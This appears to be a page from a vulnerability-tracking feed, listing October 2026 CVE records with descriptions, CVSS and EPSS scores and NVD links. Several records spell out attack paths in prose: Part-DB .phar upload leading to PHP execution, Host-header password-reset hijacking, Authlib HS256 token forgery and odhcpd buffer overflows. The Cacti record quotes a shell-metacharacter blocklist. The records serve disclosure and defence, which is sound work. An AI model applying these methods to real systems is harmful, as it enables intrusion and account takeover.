Conda Organization Infrastructure is a centralized location for infrastructure codes. Prior to commit 9c0f238, a GitHub Actions Pwn Request vulnerability appears to remain present in conda/conda. The affected workflow is .github/workflows/update.yml. It is triggered by issue_comment events containing @conda-bot render or @conda-bot recreate. For the render path, the workflow obtains the pull request head repository and branch from the PR API, checks out that PR-controlled repository/ref using secrets.SYNC_TOKEN, and then runs conda/actions/template-files@7f6830b1428a9bd47f0b068892c77eae95207037. The external template-files action reads its default configuration and templates from the checked-out working directory. In the confirmed finding, that action uses an unsandboxed Jinja2 environment to render attacker-controlled template content. This creates a Pwn Request chain in which an untrusted PR/comment path can reach template rendering in a privileged token context. This issue has been patched via commit 9c0f238.
CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53942).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53942&date=2026-10-25).
Sources:
NVD CVE-2026-53942: https://nvd.nist.gov/vuln/detail/CVE-2026-53942
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53942&date=2026-10-25
Conda Organization Infrastructure is a centralized location for infrastructure codes. Prior to commit 9c0f238, a GitHub Actions Pwn Request vulnerability appears to remain present in conda/conda. The affected workflow is .github/workflows/update.yml. It is triggered by issue_comment events containing @conda-bot render or @conda-bot recreate. For the render path, the workflow obtains the pull request head repository and branch from the PR API, checks out that PR-controlled repository/ref using secrets.SYNC_TOKEN, and then runs conda/actions/template-files@7f6830b1428a9bd47f0b068892c77eae95207037. The external template-files action reads its default configuration and templates from the checked-out working directory. In the confirmed finding, that action uses an unsandboxed Jinja2 environment to render attacker-controlled template content. This creates a Pwn Request chain in which an untrusted PR/comment path can reach template rendering in a privileged token context. This issue has been patched via commit 9c0f238.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### XDG Desktop Portal is a desktop integration portal.
https://kevwire.com/record/CVE-2026-55889
XDG Desktop Portal is a desktop integration portal. (Oct 23, 2026).
XDG Desktop Portal is a desktop integration portal. Prior to version 1.22.1, malicious sandboxed applications can use the FileTransfer.RetrieveFiles method to redirect drag-and-drop and copy-paste data targeted at other applications to itself. Some portals generate tokens which provide access to resources. The sharing of the token transfers access to the resource and is supposed to happen out of band. The tokens were generated with g_random_int or g_uuid_string_random, both of which use GLib's GRand based on the Mersenne Twister PRNG which created a stream of reproducible random numbers. By generating enough tokens, the state of the GRand can be recover and with it, the next tokens can be predictedinsufin. This issue has been patched in version 1.22.1.
CVSS 8.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55889).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55889&date=2026-10-25).
Sources:
NVD CVE-2026-55889: https://nvd.nist.gov/vuln/detail/CVE-2026-55889
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55889&date=2026-10-25
XDG Desktop Portal is a desktop integration portal. Prior to version 1.22.1, malicious sandboxed applications can use the FileTransfer.RetrieveFiles method to redirect drag-and-drop and copy-paste data targeted at other applications to itself. Some portals generate tokens which provide access to resources. The sharing of the token transfers access to the resource and is supposed to happen out of band. The tokens were generated with g_random_int or g_uuid_string_random, both of which use GLib's GRand based on the Mersenne Twister PRNG which created a stream of reproducible random numbers. By generating enough tokens, the state of the GRand can be recover and with it, the next tokens can be predictedinsufin. This issue has been patched in version 1.22.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A firmware verification vulnerability in Creative Sound
Blaster Katana could allow an attacker to modify a legitimate firmware image
and upload the modified firmware to an...
https://kevwire.com/record/CVE-2026-55981
A firmware verification vulnerability in Creative Sound
Blaster Katana could allow an attacker to modify a legitimate firmware image
and upload the modified firmware to an... (Oct 23, 2026).
A firmware verification vulnerability in Creative Sound
Blaster Katana could allow an attacker to modify a legitimate firmware image
and upload the modified firmware to an affected device.
CVSS 9.6 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55981).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55981&date=2026-10-25).
Sources:
NVD CVE-2026-55981: https://nvd.nist.gov/vuln/detail/CVE-2026-55981
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55981&date=2026-10-25
A firmware verification vulnerability in Creative Sound
Blaster Katana could allow an attacker to modify a legitimate firmware image
and upload the modified firmware to an affected device.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal (a unit agent, or a user with only...
https://kevwire.com/record/CVE-2026-93336
Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal (a unit agent, or a user with only... (Oct 22, 2026).
Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal (a unit agent, or a user with only login permission) to read any application's charm resource in any model,  including container-registry credentials, via a crafted request naming an arbitrary unit.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93336).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93336&date=2026-10-25).
Sources:
NVD CVE-2026-93336: https://nvd.nist.gov/vuln/detail/CVE-2026-93336
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93336&date=2026-10-25
Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal (a unit agent, or a user with only login permission) to read any application's charm resource in any model,  including container-registry credentials, via a crafted request naming an arbitrary unit.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt.
https://kevwire.com/record/CVE-2026-53918
odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. (Oct 23, 2026).
odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. Prior to version 25.12, odhcpd's DHCPv6 IA handler keeps a per-message `first` lease pointer so multiple IA options in one message reuse the same Reconfigure authentication key. A DHCPv6 REQUEST from an adjacent-network client can make the first IA set `first`, then make a later same-IAID IA fail the on-link check and free that same lease, leaving `first` dangling. A following IA in the same packet allocates a new lease and copies `first->key`, producing a 16-byte heap-use-after-free read. ASan confirms the UAF; native tracing shows the packet shape can deterministically reclaim the freed lease as the destination allocation, producing a zeroed Reconfigure key copy. The validated impact is unauthenticated adjacent-network denial of service and DHCPv6 Reconfigure/ForceRenew key confusion. Arbitrary PC control is not proven for this UAF alone. This issue has been patched in version 25.12.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53918).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53918&date=2026-10-25).
Sources:
NVD CVE-2026-53918: https://nvd.nist.gov/vuln/detail/CVE-2026-53918
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53918&date=2026-10-25
odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. Prior to version 25.12, odhcpd's DHCPv6 IA handler keeps a per-message `first` lease pointer so multiple IA options in one message reuse the same Reconfigure authentication key. A DHCPv6 REQUEST from an adjacent-network client can make the first IA set `first`, then make a later same-IAID IA fail the on-link check and free that same lease, leaving `first` dangling. A following IA in the same packet allocates a new lease and copies `first->key`, producing a 16-byte heap-use-after-free read. ASan confirms the UAF; native tracing shows the packet shape can deterministically reclaim the freed lease as the destination allocation, producing a zeroed Reconfigure key copy. The validated impact is unauthenticated adjacent-network denial of service and DHCPv6 Reconfigure/ForceRenew key confusion. Arbitrary PC control is not proven for this UAF alone. This issue has been patched in version 25.12.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt.
https://kevwire.com/record/CVE-2026-53921
odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. (Oct 23, 2026).
odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. Prior to version 25.12, odhcpd's DHCPv6 IA response handler writes past the end of a fixed 512-byte stack buffer (pdbuf) when a single DHCPv6 REQUEST carries enough IA options to nearly exhaust the reply space. Two independent overflow sites exist in the same call chain, both reachable from the network via a single unauthenticated UDP packet. odhcpd runs as root on OpenWrt; embedded targets often lack stack canaries and ASLR, making code execution realistic. This issue has been patched in version 25.12.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53921).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53921&date=2026-10-25).
Sources:
NVD CVE-2026-53921: https://nvd.nist.gov/vuln/detail/CVE-2026-53921
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53921&date=2026-10-25
odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. Prior to version 25.12, odhcpd's DHCPv6 IA response handler writes past the end of a fixed 512-byte stack buffer (pdbuf) when a single DHCPv6 REQUEST carries enough IA options to nearly exhaust the reply space. Two independent overflow sites exist in the same call chain, both reachable from the network via a single unauthenticated UDP packet. odhcpd runs as root on OpenWrt; embedded targets often lack stack canaries and ASLR, making code execution realistic. This issue has been patched in version 25.12.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cacti is an open source performance and fault management framework.
https://kevwire.com/record/CVE-2026-39902
Cacti is an open source performance and fault management framework. (Oct 23, 2026).
Cacti is an open source performance and fault management framework. Prior to version 1.2.31, the prior blocklist ([;&| `$\\n\r]) omitted single-quote, double-quote, redirect operators, subshell parens and braces. An authenticated admin could save an input_string` containing single-quote, redirect operator, or subshell parens, and pass the check. This issue has been patched in version 1.2.31.
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39902).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-39902&date=2026-10-25).
Sources:
NVD CVE-2026-39902: https://nvd.nist.gov/vuln/detail/CVE-2026-39902
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-39902&date=2026-10-25
Cacti is an open source performance and fault management framework. Prior to version 1.2.31, the prior blocklist ([;&| `$\\n\r]) omitted single-quote, double-quote, redirect operators, subshell parens and braces. An authenticated admin could save an input_string` containing single-quote, redirect operator, or subshell parens, and pass the check. This issue has been patched in version 1.2.31.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Part-DB is an open source inventory management system for electronic components.
https://kevwire.com/record/CVE-2026-54630
Part-DB is an open source inventory management system for electronic components. (Oct 23, 2026).
Part-DB is an open source inventory management system for electronic components. Prior to version 2.12.1, the part attachment upload handler stores uploaded files under the web-served media directory using the client-supplied file extension, and its extension blocklist does not include phar. AttachmentSubmitHandler::renameBlacklistedExtensions() rewrites dangerous extensions (php, phtml, sh, cgi, py, js, html, htaccess, ...) to .txt, but phar is absent from the list, so a .phar file keeps its extension. Public attachments (the default) are written into public/media/, which is the Apache document root. The shipped Apache configuration routes .phar to PHP-FPM, so the stored file is executed as PHP on request. The per-attachment-type extension filter is empty by default and is not consulted by the upload handler in a way that blocks this, and a non-admin user in the default users group can create an attachment type with no filter and attach files to parts. Any authenticated user in the default users group uploads a .phar attachment to a part and fetches it under /media/, executing arbitrary PHP as the www-data web user. Ability to exploit depends on the webserver config, docker image contained the vulnerability by default. This issue has been patched in version 2.12.1.
CVSS 9.6 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-54630).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54630&date=2026-10-25).
Sources:
NVD CVE-2026-54630: https://nvd.nist.gov/vuln/detail/CVE-2026-54630
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54630&date=2026-10-25
Part-DB is an open source inventory management system for electronic components. Prior to version 2.12.1, the part attachment upload handler stores uploaded files under the web-served media directory using the client-supplied file extension, and its extension blocklist does not include phar. AttachmentSubmitHandler::renameBlacklistedExtensions() rewrites dangerous extensions (php, phtml, sh, cgi, py, js, html, htaccess, ...) to .txt, but phar is absent from the list, so a .phar file keeps its extension. Public attachments (the default) are written into public/media/, which is the Apache document root. The shipped Apache configuration routes .phar to PHP-FPM, so the stored file is executed as PHP on request. The per-attachment-type extension filter is empty by default and is not consulted by the upload handler in a way that blocks this, and a non-admin user in the default users group can create an attachment type with no filter and attach files to parts. Any authenticated user in the default users group uploads a .phar attachment to a part and fetches it under /media/, executing arbitrary PHP as the www-data web user. Ability to exploit depends on the webserver config, docker image contained the vulnerability by default. This issue has been patched in version 2.12.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Part-DB is an open source inventory management system for electronic components.
https://kevwire.com/record/CVE-2026-86055
Part-DB is an open source inventory management system for electronic components. (Oct 23, 2026).
Part-DB is an open source inventory management system for electronic components. Prior to version 2.13.3, Part-DB builds the absolute URL of the password-reset link it emails to a user from the client-supplied HTTP Host header, with no trusted-host validation. An unauthenticated attacker who submits a forgot-password request for a known account while sending a spoofed Host header causes Part-DB to email that account a reset link whose hostname is attacker-controlled, while still embedding the genuine reset token. When the victim opens the link (or an automated inbound mail-security scanner dereferences it), the valid token is disclosed to the attacker, who replays it against the real instance to set a new password and take over the account. Because the seeded admin account can be targeted, this yields full pre-authentication administrative account takeover. This issue has been patched in version 2.13.3.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86055).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86055&date=2026-10-25).
Sources:
NVD CVE-2026-86055: https://nvd.nist.gov/vuln/detail/CVE-2026-86055
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86055&date=2026-10-25
Part-DB is an open source inventory management system for electronic components. Prior to version 2.13.3, Part-DB builds the absolute URL of the password-reset link it emails to a user from the client-supplied HTTP Host header, with no trusted-host validation. An unauthenticated attacker who submits a forgot-password request for a known account while sending a spoofed Host header causes Part-DB to email that account a reset link whose hostname is attacker-controlled, while still embedding the genuine reset token. When the victim opens the link (or an automated inbound mail-security scanner dereferences it), the valid token is disclosed to the attacker, who replays it against the real instance to set a new password and take over the account. Because the seeded admin account can be targeted, this yields full pre-authentication administrative account takeover. This issue has been patched in version 2.13.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authlib is a Python library which builds OAuth and OpenID Connect servers.
https://kevwire.com/record/CVE-2026-114615
Authlib is a Python library which builds OAuth and OpenID Connect servers. (Oct 22, 2026).
Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib's PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0.
CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114615).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114615&date=2026-10-25).
Sources:
NVD CVE-2026-114615: https://nvd.nist.gov/vuln/detail/CVE-2026-114615
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114615&date=2026-10-25
Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib's PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authlib is a Python library which builds OAuth and OpenID Connect servers.
https://kevwire.com/record/CVE-2026-114616
Authlib is a Python library which builds OAuth and OpenID Connect servers. (Oct 22, 2026).
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.1, Authlib's OctKey.import_key() and HMAC signing and verification path accept zero-length key material. If an application's secret lookup can return an empty string or empty bytes, a remote attacker can compute the deterministic HS256, HS384, or HS512 signature for arbitrary token claims and have Authlib treat the token as authentic. This issue is fixed in version 1.9.1.
CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114616).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114616&date=2026-10-25).
Sources:
NVD CVE-2026-114616: https://nvd.nist.gov/vuln/detail/CVE-2026-114616
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114616&date=2026-10-25
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.1, Authlib's OctKey.import_key() and HMAC signing and verification path accept zero-length key material. If an application's secret lookup can return an empty string or empty bytes, a remote attacker can compute the deterministic HS256, HS384, or HS512 signature for arbitrary token claims and have Authlib treat the token as authentic. This issue is fixed in version 1.9.1.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108136
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108136).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108136&date=2026-10-25).
Sources:
NVD CVE-2026-108136: https://nvd.nist.gov/vuln/detail/CVE-2026-108136
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108136
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108136&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### `HmacShaCryptor.Hash` never hashed its input.
https://kevwire.com/record/CVE-2026-89320
`HmacShaCryptor.Hash` never hashed its input. (Oct 23, 2026).
`HmacShaCryptor.Hash` never hashed its input. For any input it returned `HMAC_K("")` — the MAC of the empty message under the key. Every AES-CBC-HMAC JWE produced or verified by gose therefore carried an authentication tag that is constant per key and independent of the message, removing ciphertext integrity entirely.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89320).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89320&date=2026-10-25).
Sources:
NVD CVE-2026-89320: https://nvd.nist.gov/vuln/detail/CVE-2026-89320
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89320&date=2026-10-25
`HmacShaCryptor.Hash` never hashed its input. For any input it returned `HMAC_K("")` — the MAC of the empty message under the key. Every AES-CBC-HMAC JWE produced or verified by gose therefore carried an authentication tag that is constant per key and independent of the message, removing ciphertext integrity entirely.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108396
Time-of-check time-of-use (toctou) race condition in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108396).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108396&date=2026-10-25).
Sources:
NVD CVE-2026-108396: https://nvd.nist.gov/vuln/detail/CVE-2026-108396
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108396
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108396&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Relative path traversal during model archive extraction in Amazon Web Services Multi Model Server 1.1.11 and earlier might allow remote actors to execute arbitrary code via a...
https://kevwire.com/record/CVE-2026-115812
Relative path traversal during model archive extraction in Amazon Web Services Multi Model Server 1.1.11 and earlier might allow remote actors to execute arbitrary code via a... (Oct 23, 2026).
Relative path traversal during model archive extraction in Amazon Web Services Multi Model Server 1.1.11 and earlier might allow remote actors to execute arbitrary code via a crafted model archive.



Multi Model Server is end of life and no fixed version is available. Users should discontinue use of Multi Model Server and migrate to a supported model serving solution.
CVSS 9.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115812).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115812&date=2026-10-25).
Sources:
NVD CVE-2026-115812: https://nvd.nist.gov/vuln/detail/CVE-2026-115812
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115812&date=2026-10-25
Relative path traversal during model archive extraction in Amazon Web Services Multi Model Server 1.1.11 and earlier might allow remote actors to execute arbitrary code via a crafted model archive.



Multi Model Server is end of life and no fixed version is available. Users should discontinue use of Multi Model Server and migrate to a supported model serving solution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trudesk through 1.2.11 contains a missing authentication vulnerability that allows unauthenticated attackers to download private ticket attachments under /uploads.
https://kevwire.com/record/CVE-2026-114400
Trudesk through 1.2.11 contains a missing authentication vulnerability that allows unauthenticated attackers to download private ticket attachments under /uploads. (Oct 21, 2026).
Trudesk through 1.2.11 contains a missing authentication vulnerability that allows unauthenticated attackers to download private ticket attachments under /uploads. Because express.static serves the public/ directory before the hasAuth-guarded /uploads mount, attackers who know or guess a ticket ObjectId and filename can retrieve confidential attachments.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114400).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114400&date=2026-10-25).
Sources:
NVD CVE-2026-114400: https://nvd.nist.gov/vuln/detail/CVE-2026-114400
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114400&date=2026-10-25
Trudesk through 1.2.11 contains a missing authentication vulnerability that allows unauthenticated attackers to download private ticket attachments under /uploads. Because express.static serves the public/ directory before the hasAuth-guarded /uploads mount, attackers who know or guess a ticket ObjectId and filename can retrieve confidential attachments.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SmileCDR HAPI FHIR allows an untrusted bundle body to replace a partition identity previously established by a trusted source, and does not enforce storage partition entitlement...
https://kevwire.com/record/CVE-2026-113874
SmileCDR HAPI FHIR allows an untrusted bundle body to replace a partition identity previously established by a trusted source, and does not enforce storage partition entitlement... (Oct 22, 2026).
SmileCDR HAPI FHIR allows an untrusted bundle body to replace a partition identity previously established by a trusted source, and does not enforce storage partition entitlement by default. An attacker authorized for one tenant can read from or write to another tenant's partition.
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113874).
